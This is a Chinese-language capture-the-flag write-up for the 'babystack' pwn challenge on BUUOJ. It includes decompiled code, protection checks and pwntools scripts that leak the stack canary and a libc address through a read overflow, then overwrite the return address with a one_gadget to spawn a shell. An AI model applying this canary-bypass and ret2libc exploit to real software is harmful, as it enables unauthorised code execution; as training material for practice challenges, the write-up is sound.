main函数如下:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { char *v3; // rsi char *v4; // rdi int v5; // eax char s; // [rsp+10h] [rbp-90h] unsigned __int64 v8; // [rsp+98h] [rbp-8h] v8 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); v3 = 0LL; v4 = &s; memset(&s, 0, 0x80uLL); while ( 1 ) { sub_4008B9(v4, v3); v5 = sub_400841(); switch ( v5 ) { case 2: puts(&s); break; case 3: return 0LL; case 1: v3 = &s; read(0, &s, 0x100uLL); break; default: sub_400826("invalid choice"); break; } v4 = (char *)&unk_400AE7; sub_400826(&unk_400AE7); } }
该题开启了canary保护:
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
分析可得知,v8
中存在的就是canary的值,距离为rbp-8h
,read函数存在栈溢出,构造payload。
from pwn import * from LibcSearcher import * elf = ELF('./babystack') local = 1 if local == 1: io = process('./babystack') #gdb.attach(io,'b * 0x4009E9') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: io = remote('node4.buuoj.cn',25887) io.recvuntil(">> ") io.sendline('1') payload = 'a'*(0x90-0x8-1)+'b' io.sendline(payload) io.recvuntil(">> ") io.sendline('2') io.recvuntil('b') canary = u64(io.recv(8))-0xa log.success('canary:'+hex(canary)) io.interactive()
调试时发现libc_start_main_ret的值的位置在覆盖RIP的位置。所以也可以知道它的值是多少:
减2个1是因为末尾有一个多余的换行符。
from pwn import * from LibcSearcher import * elf = ELF('./babystack') local = 1 if local == 1: io = process('./babystack') #gdb.attach(io,'b * 0x4009DD') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: io = remote('node4.buuoj.cn',25887) io.recvuntil(">> ") io.sendline('1') payload = 'a'*(0x90-0x8-1)+'b' io.sendline(payload) io.recvuntil(">> ") io.sendline('2') io.recvuntil('b') canary = u64(io.recv(8))-0xa log.success('canary:'+hex(canary)) io.recvuntil(">> ") io.sendline('1') payload2 = 'a'*(0x90+0x8-1-1)+'b' io.sendline(payload2) io.recvuntil(">> ") io.sendline('2') io.recvuntil('b\n') libc_start_main_ret = u64(io.recv(6)+'\x00\x00') log.success('libc_start_main_ret:'+hex(libc_start_main_ret)) io.interactive()
已知libc_start_main_ret
的值,就能找到对应的libc版本为libc-2.23-0ubuntu11。
用one_gadget来getshell,最终exp如下:
from pwn import * from LibcSearcher import * elf = ELF('./babystack') local = 0 if local == 1: io = process('./babystack') gdb.attach(io,'b * 0x4009DD') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: io = remote('node4.buuoj.cn',26933) libc = ELF('./libc/libc-2.23-0ubuntu11.so') io.recvuntil(">> ") io.sendline('1') payload = 'a'*(0x90-0x8-1)+'b' io.sendline(payload) io.recvuntil(">> ") io.sendline('2') io.recvuntil('b') canary = u64(io.recv(8))-0xa log.success('canary:'+hex(canary)) io.recvuntil(">> ") io.sendline('1') payload2 = 'a'*(0x90+0x8-1-1)+'b' io.sendline(payload2) io.recvuntil(">> ") io.sendline('2') io.recvuntil('b\n') libc_start_main_ret = u64(io.recv(6)+'\x00\x00') log.success('libc_start_main_ret:'+hex(libc_start_main_ret)) libc_addr = libc_start_main_ret - 0x020830 io.recvuntil(">> ") io.sendline('1') payload3 = 'a'*(0x90-8)+p64(canary)+p64(0xdeadbeef)+p64(libc_addr + 0xf1147) io.sendline(payload3) io.recvuntil(">> ") io.sendline('3') io.interactive()